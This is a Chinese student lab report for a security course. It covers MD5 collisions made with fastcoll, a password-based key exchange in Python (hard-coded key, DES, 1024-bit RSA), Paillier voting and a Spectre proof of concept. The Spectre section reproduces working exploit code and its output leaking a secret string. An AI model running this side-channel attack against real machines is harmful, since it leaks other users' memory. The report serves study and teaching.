

网络安全安全导论 · 实验报告

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简述

- 合计完成了四个实验，具体项目如下：
 - 第四章：制造 MD5 算法的散列值碰撞（难度：★）
 - 第四章：基于口令的安全身份认证协议（难度：★★★）
 - 第五章：基于 Paillier 算法的匿名电子投票流程实现（难度：★）
 - 第六章：Spectre 攻击验证（难度：★★★）

1. 制造 MD5 算法的散列值碰撞（难度：★）

实验步骤

- 首先进入 Windows 的 CMD，然后运行指令：

```
1 | fastcoll_v1.0.0.5.exe -p fastcoll_v1.0.0.5.exe -o m1.exe m2.exe
```

此条指令意思是利用 fastcoll 软件生成和 `fastcoll_v1.0.0.5.exe` 具有相同功能的两个可执行文件 `m1.exe` 和 `m2.exe`。

- 生成文件后，可以利用 `certutil -hashfile <path> <method>` 来查看对应文件在不同哈希方式下得到的散列值。

实验结果

- 实验截图如下：

```
MD5 collision generator v1.5
by Marc Stevens (http://www.win.tue.nl/hashclash/)

Using output filenames: 'm1.exe' and 'm2.exe'
Using prefixfile: 'fastcoll_v1.0.0.5.exe'
Using initial value: 1ea4676be2dac3d163cae11409b9ad1a

Generating first block: .....
Generating second block: S00.....
Running time: 15.484 s

C:\Users\boxworld\Desktop\fastcoll>certutil -hashfile m1.exe md5
MD5 hash of m1.exe:
1b1f3b0adcf077101beaf57ac0e5a584
CertUtil: -hashfile command completed successfully.

C:\Users\boxworld\Desktop\fastcoll>certutil -hashfile m2.exe md5
MD5 hash of m2.exe:
1b1f3b0adcf077101beaf57ac0e5a584
CertUtil: -hashfile command completed successfully.

C:\Users\boxworld\Desktop\fastcoll>certutil -hashfile m1.exe sha1
SHA1 hash of m1.exe:
82242d038636be4eb1daca101cc256ab48c27c28
CertUtil: -hashfile command completed successfully.

C:\Users\boxworld\Desktop\fastcoll>certutil -hashfile m2.exe sha1
SHA1 hash of m2.exe:
0bc7d3623466c7f15fb90b08b3a33a4c4da98cd3
CertUtil: -hashfile command completed successfully.

C:\Users\boxworld\Desktop\fastcoll>
```

- 从上图可见，软件生成了两个文件 `m1.exe` 和 `m2.exe`，他们具有相同的 MD5 散列值，但是对应的 SHA1 散列值则不同。

2. 基于口令的安全身份认证协议（难度：★★★）

实验步骤

- 本实验需要模拟 Bellovin-Merriott 协议的流程。
- **初始化：**双方需要事先共享一个口令 `pw` 用于后续的身份合法性和真实性认证。代码实现时利用 `fork` 函数即可完成这个目标。

```
1 | shared_key = 'thisisasharekey'
2 | pid = os.fork()
```

- **步骤 1:**

A 需要生成 RSA 算法所需的公钥和私钥：

```
1 | # 1.1 gen RSA key pair
2 | random_generator = Random.new().read
3 | key = RSA.generate(1024, random_generator)
4 | msg1_inner = key.publickey().exportKey('PEM').decode('cp1252')
```

然后向 B 发送自己的身分标识（此处由于仅有两个进程通信，为实现简便，故忽略此项）以及利用 `pw` 进行 AES 加密后的公钥密文：

```
1 | # 1.2 send public key to server
2 | msg1 = self.aes.encrypt(msg1_inner)
3 | s.sendall(msg1)
```

注：s 是通信实体 A 使用的 socket。同时 AES 和 DES 的加解密已经抽象为接口，以便多次调用。

- **步骤 2:**

B 接收到 A 发来的信息后，先解密密文得到 A 的公钥。

```
1 | # 2.1 receive public key from client
2 | msg1 = conn.recv(BUF)
3 | msg1_inner = self.aes.decrypt(msg1)
4 | pubkey = RSA.importKey(msg1_inner.encode('cp1252'))
```

然后随机生成会话密钥，先用 A 的公钥加密之，再用 `pw` 把前述密文用 AES 再次加密：

```

1  # 2.2 gen section key
2  secc_key = ''.join(random.choices(string.ascii_letters +
    string.digits, k = 8))
3  des = DESCipher(secc_key)
4  rsa_enc = PKCS1_cipher.new(pubkey)
5  secc_enc = rsa_enc.encrypt(bytes(secc_key.encode('utf8')))
6
7  # 2.3 send section key
8  msg2_inner = b64encode(secc_enc).decode('ascii')
9  msg2 = self.aes.encrypt(msg2_inner)
10 conn.sendall(msg2)

```

• 步骤 3:

A 利用 `pw` 和私钥解密密文，得到会话密钥（secc_key）：

```

1  # 3.1 receive communication key from server
2  msg2 = s.recv(BUF)
3  msg2_inner = self.aes.decrypt(msg2)
4
5  rsa_dec = PKCS1_cipher.new(key)
6  secc_enc = b64decode(msg2_inner.encode('ascii'))
7  secc_key = rsa_dec.decrypt(secc_enc, 0).decode('utf8')
8  des = DESCipher(secc_key)

```

然后生成随机数 N_A ，利用会话密钥加密后，把密文发送给 B：

```

1  na = ''.join(random.choices(string.digits, k = 20))
2  msg3 = des.encrypt(na)
3  s.sendall(msg3)

```

注：后续步骤除非特别说明，否则加 / 解密都是指利用会话密钥做 DES 加 / 解密。

• 步骤 4:

B 收到消息后解密得到 N_A ，然后生成随机数 N_B ，再加密明文 $N_A||N_B$ ，并把密文发给 A：

```

1  # 4.1 receive random number NA
2  msg3 = conn.recv(BUF)
3  na = des.decrypt(msg3)
4
5  # 4.2 gen random number NB
6  nb = ''.join(random.choices(string.digits, k = 20))
7  msg4 = des.encrypt(na + nb)
8  conn.sendall(msg4)

```

- 步骤 5:

A 解密密文，得到 $N_1||N_2$ ，验证 N_A 和 N_1 是否相同，以判定对方是否为 B:

```
1 # 5.1 receive NA || NB
2 msg4 = s.recv(BUF)
3 nab = des.decrypt(msg4)
4
5 # 5.2 check NA
6 na_recv = nab[:20]
7 assert na == na_recv, 'na != na_recv'
```

然后加密 N_2 再发送给 B:

```
1 # 5.3 send NB for checking
2 nb = nab[20:]
3 msg5 = des.encrypt(nb)
4 s.sendall(msg5)
```

- 步骤 6:

B 解密密文，得到 N_2 ，验证 N_B 和 N_2 是否相同，以判定对方是否为 A:

```
1 # 6.1 receive NB and check
2 msg5 = conn.recv(BUF)
3 nb_recv = des.decrypt(msg5)
4 assert nb == nb_recv, 'nb != nb_recv'
```

实验结果

- 实验截图如下:

```
(base) BoxWorld:ch4 boxworld$ python3 main.py
----- ROUND 1 -----
Got connection from ('127.0.0.1', 53616)
[A] send:
  b'0Rm70/a13smQ9bvGJzP6ZEIBg5rZCToqc1FQDBRI1pLAz30rQoY5ByuZZucyDy9ysfLZNqKEcJNhj
asQcuo6jUxRgB5qbaNxIH7FkHda1kIkerr0nhLdbvKSrAMXMyV7LDp1qRYlZXdw8r717ZCuN+ZCpSWBS
K0zHnT/z5kXxfWxxIGjuicuE/eEBwNzPTTPZp5r2NVuaznE23KTVaNghStUSnnmn0NpdndfPUKwTkk1a
vMmLkBPJZxhtizFkvIG0yu/Uedd0MK9LHmchDpw1WSBSBmrDaXzrUQ8USnkmXZy4Ruapa6lu9zTVFbfi
C97qEDEERDnEadoVDBTU46/mR70cwY8DEKLviG5TIqhD+nau5Fh8TPXrsdIPa4vZz9m'
[B] recv:
  -----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6CopTNaRe+u4j+gCUJWkSfm7+
TK4u3Sl5cozcAs//wPffFrohSEWt59Tg4ztM9dFf1aqeKCTatEqk8JzESWlg0ylgi
xM45H3WUnj0K4vWJ/ivZVXRR7lyJctJzIE3IgBlaZ/2G4rJzHB+pFBuVV808YYED
tQcNcL9iLNjQZDuc/wIDAQAB
-----END PUBLIC KEY-----

----- ROUND 2 -----
[B] Session Key:
  uev29z9N
[B] send:
  b'VZk4siUKaIbjmgAwcahrbNccnyL0RcCjxUUvTHz9Xrg82+B+77XF4nR+uQeHXGcI90XoZBMMxXecT
uT9RkJS0pImndTZN3xaYI1842NHIleWrQz3v0Jc7EDLxZMhscT6UB2NEdQv80cWdFCHfELBUKqZaZY12
nLONg3ooTPLEcdnLeNDDGDuCPTK7mQJvKd0AfT/bSfM8n1Jo4IEPURFoH/dU9P7r30xz9cQpBMPczDSt
As+GH0hmJ4W0/oNLco3'
[A] Session Key:
  uev29z9N

----- ROUND 3 -----
[A] N_a = 23666137417238057977
[A] send: b'GX0AJEWkxyzR9lsB0c/0hs8kiDbem7+E60kqGN0xu2s='
[B] N_a = 23666137417238057977

----- ROUND 4 -----
[B] N_b = 54154477742624844351
[B] send: b'Emqq4Pk8s4JgsZqvdyo16eBjpaIxAkGKFhP3SYf9yLkvDYkOTMfUckpUBY+jHbQ76aa
7vKTqUUY='
[A] N_a || N_b = 2366613741723805797754154477742624844351
[A] Check N_a: OK

----- ROUND 5 -----
[A] N_b = 54154477742624844351
[A] send: b'fPyHXs2SiC6HZi7rahd1fVABImRuts90s2VyvC9T4wM='
[B] Check N_b: OK

----- FINISH -----

[A] Your msg: test
[A] send: b'fPzaXsPRUUKpF+2kJdZQLIJ3dcIg0CkX'
[B] recv: test

[B] Your msg: 测试
[B] send: b'7lw9umZXd0SSr7k9ByhjLCtEU/0kekyP'
[A] recv: 测试
```

- 从上图可见，算法执行过程无误，用户成功交换会话密钥，可以进行加密对话。

3. 基于 Paillier 算法的匿名电子投票流程实现（难度：★）

实验步骤

- 准备阶段:

投票开始前，我们需要准备好 Paillier 算法所需的公钥和私钥，生成算法如下：

```
1  Paillier(int mtv, int mca): max_voter(mtv), max_candidate(mca) {
2      mpz_class p, q, n, lambda, g, mu;
3      p = mpz.gen_prime();
4      q = mpz.gen_prime();
5      n = p * q;
6
7      mpz_class p_ = p - 1, q_ = q - 1;
8      mpz_lcm(lambda.get_mpz_t(), p_.get_mpz_t(), q_.get_mpz_t());
9
10     mpz_class n2 = n * n, x;
11     g = mpz.gen_random_number(Prime_Bits * 2);
12     mpz_powm(x.get_mpz_t(), g.get_mpz_t(), lambda.get_mpz_t(),
13             n2.get_mpz_t());
14     x = (x - 1) / n;
15     mpz_invert(mu.get_mpz_t(), x.get_mpz_t(), n.get_mpz_t());
16
17     puk.n = n;
18     puk.g = g;
19     prk.lambda = lambda;
20     prk.mu = mu;
21 }
```

首先找到两个大素数 p, q ，计算 $n = pq$ 以及 $\lambda = \text{LCM}(p-1, q-1)$ ，然后生成一个大整数 g ，再计算 $\mu = \left(\frac{(g^\lambda \bmod n^2) - 1}{n} \right)^{-1} \bmod n$ 。此时得到的 (n, g) 为公钥， (λ, μ) 为私钥。

- 投票阶段:

用户输入候选人号码 cid 后，我们把用户的选票信息记为 $base^{cid}$ （需要保证 $base$ 大于投票总人数）。这样做的好处在于，当我们需要统计选票时，所有的选票之和可以唯一地表示为 $sum = \sum_{id=0}^{\max cid} total_{id} \times base^{id-1}$ （假设候选人编号从 1 开始），此时 $total_{id}$ 即为候选人 id 的得票数。

```

1 string vote() {
2     int cid;
3     cin >> cid;
4     if (cid <= 0 || cid > max_candidate) return "Exit";
5     mpz_class offset;
6     mpz_pow_ui(offset.get_mpz_t(), max_voter.get_mpz_t(), cid - 1);
7     return _encrypt(offset, puk).get_str();
8 }

```

加密算法的实现如下：已知公钥信息 n, g ，以及明文 m ，此时先随机生成一个大整数 r ，然后计算 $g^m \bmod n^2$ 和 $r^n \bmod n^2$ ，两者的乘积模 n^2 即为密文。

```

1 mpz_class _encrypt(mpz_class m, PublicKey k) {
2     mpz_class n = k.n, g = k.g;
3     mpz_class n2 = n * n;
4     mpz_class r = mpz_gen_random_number(Prime_Bits * 2 - 2);
5
6     mpz_class tmp1, tmp2;
7     mpz_powm(tmp1.get_mpz_t(), g.get_mpz_t(), m.get_mpz_t(),
8     n2.get_mpz_t());
9     mpz_powm(tmp2.get_mpz_t(), r.get_mpz_t(), n.get_mpz_t(),
10    n2.get_mpz_t());
11
12     mpz_class c;
13     c = tmp1 * tmp2 % n2;
14     return c;
15 }

```

- **计票阶段：**根据 Paillier 算法的要求，我们只需要把用户的投票密文相乘即可。

```

1 mpz_class start_vote() {
2     mpz_class result = 1;
3     while (true) {
4         string vo = vote();
5         if (vo == "Exit") break;
6         result *= mpz_class(vo);
7     }
8     return result;
9 }

```

- **公布阶段：**

公布人首先解文密文，然后按照公式 $total_{id} = \lfloor \frac{sum}{base^{id-1}} \rfloor \bmod base$ 计算每个候选人对应的得票数 $total_{id}$ ：


```

1 void get_result(mpz_class cipher) {
2     mpz_class m = decrypt(cipher);
3     for (int i = 1; i <= max_candidate; i++) {
4         cout << "Cand# " << i << ": " << m % max_voter << endl;
5         m = m / max_voter;
6     }
7 }

```

解密方法的实现如下：已知公钥 n ，私钥 λ, μ ，密文 c ，则明文 $m = \frac{(c^\lambda \bmod n^2) - 1}{n} \times \mu \bmod n$ 。

```

1 mpz_class decrypt(mpz_class cipher) {
2     mpz_class n = puk.n, lambda = prk.lambda, mu = prk.mu;
3     mpz_class n2 = n * n;
4     mpz_class tmp1, m;
5     mpz_powm(tmp1.get_mpz_t(), cipher.get_mpz_t(), lambda.get_mpz_t(),
6     n2.get_mpz_t());
7
8     m = ((tmp1 - 1) / n * mu) % n;
9     return m;
10 }

```

实验结果

- 投票效果如下：

```

BoxWorld:ch5 boxworld$ ./paillier
1 2 3 3 2 2 1 1 6 6 5 5 5 3 3 8 8 7 1 2 3 4 9 8 4 3 2 10
10 8 8 7 7 4 4 5 5 2 2 4 6 7 8 6 5 4 3 2 4 5 5 7
exit
Start Counting!!!
===== RESULT =====
Cand# 1: 4
Cand# 2: 8
Cand# 3: 7
Cand# 4: 7
Cand# 5: 8
Cand# 6: 4
Cand# 7: 5
Cand# 8: 6
Cand# 9: 1
Cand# 10: 2
=====

```

4. Spectre 攻击验证（难度：★★★★）

实验步骤

- 本次实验主要利用了处理器在分支预测瞬态时的执行漏洞，即瞬态执行时流水线回滚，但是越界部分的数据却没有回退，由此可以取出私密数据。

- **实验变量准备:**

敏感数据存放于 `char *secret`;

`uint8_t array1[160]` 用于越界读取 `secret` 数据;

`uint8_t array2[256 * 512]` 是缓存驱逐集，用于侧信道攻击。

```
1 unsigned int array1_size = 16;
2 uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
3 uint8_t array2[256 * 512];
4 char *secret = "The Magic Words are Squeamish Ossifrage.";
```

- **实验准备:**

首先计算两个数组的位置差：（方便攻击时可以直接利用）

```
1 int main(int argc, const char **argv) {
2     size_t malicious_x = (size_t)(secret - (char*)array1);
3 }
```

在每一轮攻击（最多 1000 轮）前，需要清空缓存驱逐集的缓存状态：

```
1 for (i = 0; i < 256; i++)
2     _mm_clflush(&array2[i * 512]);
```

- **攻击过程:**

每轮攻击包含 5 个循环，以 6 次访问为一组，每一组中前 5 次执行时第 3 行的 if 条件语句成功跳转，因此分支历史索引表（PHT）在第 6 次执行同样的语句也同样跳转，此时预测失败。

为了达到目标，我们可以构造如下的访存偏移量序列，其中 `training_x` 是 0 至 15 的数字：

`[training_x, training_x, training_x, training_x, training_x, malicious_x]`

除此之外，还需要注意到每次执行前都需要清除缓存中的 `array1_size`，同时还把上面的访存序列改为一系列的位操作计算所得的值，避免编译器的自动优化。

```
1 uint8_t temp = 0; /* 防止编译器优化掉 victim_function */
2 void victim_function(size_t x) {
3     if (x < array1_size) {
4         temp &= array2[array1[x] * 512];
5     }
```

```

6   }
7
8   void readMemoryByte(size_t malicious_x) {
9       /* ... */
10      training_x = tries % array1_size;
11      for (j = 29; j >= 0; j--) {
12          _mm_clflush(&array1_size);
13          for (volatile int z = 0; z < 100; z++) {}
14
15          x = ((j % 6) - 1) & ~0xFFFF;
16          x = (x | (x >> 16));
17          x = training_x ^ (x & (malicious_x ^ training_x));
18
19          victim_function(x);
20      }
21      /* ... */
22  }

```

- 缓存侧信道攻击:

完成一轮攻击后，我们需要在 array2 数组中统计缓存命中情况。

为了避免处理器提前预取数据，我们需要乱序访问数组（见第 2 行 `mix_i`），其中 `mix_i` 代表了被测试的字符值。

在第 5 行中，我们访问了对应位置的缓存内容，若 `cache_hit` 则对应字符统计值加一。（但是 `training_x` 对应的不需要增加）

```

1   for (i = 0; i < 256; i++) {
2       mix_i = ((i * 167) + 13) & 255;
3       addr = &array2[mix_i * 512];
4       time1 = __rdtscp(&junk);
5       junk = *addr;
6       time2 = __rdtscp(&junk) - time1;
7       if (time2 <= CACHE_HIT_THRESHOLD &&
8           mix_i != array1[tries % array1_size])
9           results[mix_i]++;
10  }

```

- 最后统计出现次数最多的两个可行字符值，若出现次数最多的字符值比第二多的字符多一定比例时，则认为攻击成功，此时出现次数最多的字符值即为敏感数据对应位置的值。若攻击未成功，则开始下一轮的攻击。

```

1   if (results[j] >= (2 * results[k] + 5) ||
2       (results[j] == 2 && results[k] == 0))
3       break;

```

实验结果

- 实验截图如下：

```
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffffbeba... Success: 0x54='T' score=11 (second best: 0x02 score=3)
Reading at malicious_x = 0xffffffffffffbebb... Success: 0x68='h' score=9 (second best: 0x02 score=2)
Reading at malicious_x = 0xffffffffffffbebc... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffffbebd... Success: 0x20=' ' score=11 (second best: 0x01 score=3)
Reading at malicious_x = 0xffffffffffffbebe... Success: 0x4D='M' score=2
Reading at malicious_x = 0xffffffffffffbebf... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffffbec0... Success: 0x67='g' score=13 (second best: 0x02 score=4)
Reading at malicious_x = 0xffffffffffffbec1... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffffbec2... Success: 0x63='c' score=2
Reading at malicious_x = 0xffffffffffffbec3... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffffbec4... Success: 0x57='W' score=2
Reading at malicious_x = 0xffffffffffffbec5... Success: 0x6F='o' score=2
Reading at malicious_x = 0xffffffffffffbec6... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffffbec7... Success: 0x64='d' score=2
Reading at malicious_x = 0xffffffffffffbec8... Success: 0x73='s' score=9 (second best: 0x01 score=2)
Reading at malicious_x = 0xffffffffffffbec9... Success: 0x20=' ' score=9 (second best: 0x02 score=2)
Reading at malicious_x = 0xffffffffffffbeca... Success: 0x61='a' score=9 (second best: 0x01 score=2)
Reading at malicious_x = 0xffffffffffffbecb... Success: 0x72='r' score=21 (second best: 0x02 score=8)
Reading at malicious_x = 0xffffffffffffbecc... Success: 0x65='e' score=9 (second best: 0x02 score=2)
Reading at malicious_x = 0xffffffffffffbecd... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffffbece... Success: 0x53='S' score=7 (second best: 0x02 score=1)
Reading at malicious_x = 0xffffffffffffbecf... Success: 0x71='q' score=2
Reading at malicious_x = 0xffffffffffffbed0... Success: 0x75='u' score=7 (second best: 0x01 score=1)
Reading at malicious_x = 0xffffffffffffbed1... Success: 0x65='e' score=7 (second best: 0x02 score=1)
Reading at malicious_x = 0xffffffffffffbed2... Success: 0x61='a' score=9 (second best: 0x02 score=2)
Reading at malicious_x = 0xffffffffffffbed3... Success: 0x6D='m' score=2
Reading at malicious_x = 0xffffffffffffbed4... Success: 0x69='i' score=9 (second best: 0x02 score=2)
Reading at malicious_x = 0xffffffffffffbed5... Success: 0x73='s' score=9 (second best: 0x01 score=2)
Reading at malicious_x = 0xffffffffffffbed6... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffffbed7... Success: 0x20=' ' score=11 (second best: 0x01 score=3)
Reading at malicious_x = 0xffffffffffffbed8... Success: 0x4F='O' score=203 (second best: 0x02 score=99)
Reading at malicious_x = 0xffffffffffffbed9... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffffbeda... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffffbedb... Success: 0x69='i' score=9 (second best: 0x01 score=2)
Reading at malicious_x = 0xffffffffffffbedc... Success: 0x66='f' score=9 (second best: 0x02 score=2)
Reading at malicious_x = 0xffffffffffffbedd... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffffbede... Success: 0x61='a' score=7 (second best: 0x02 score=1)
Reading at malicious_x = 0xffffffffffffbedf... Success: 0x67='g' score=11 (second best: 0x01 score=3)
Reading at malicious_x = 0xffffffffffffbee0... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffffbee1... Success: 0x2E='.' score=7 (second best: 0x02 score=1)
BoxWorld:ch6 boxworld$
```

- 从上图可见，我们成功读取到数组 `secret` 中的敏感数据：

The Magic Words are Squeamish Ossifrage.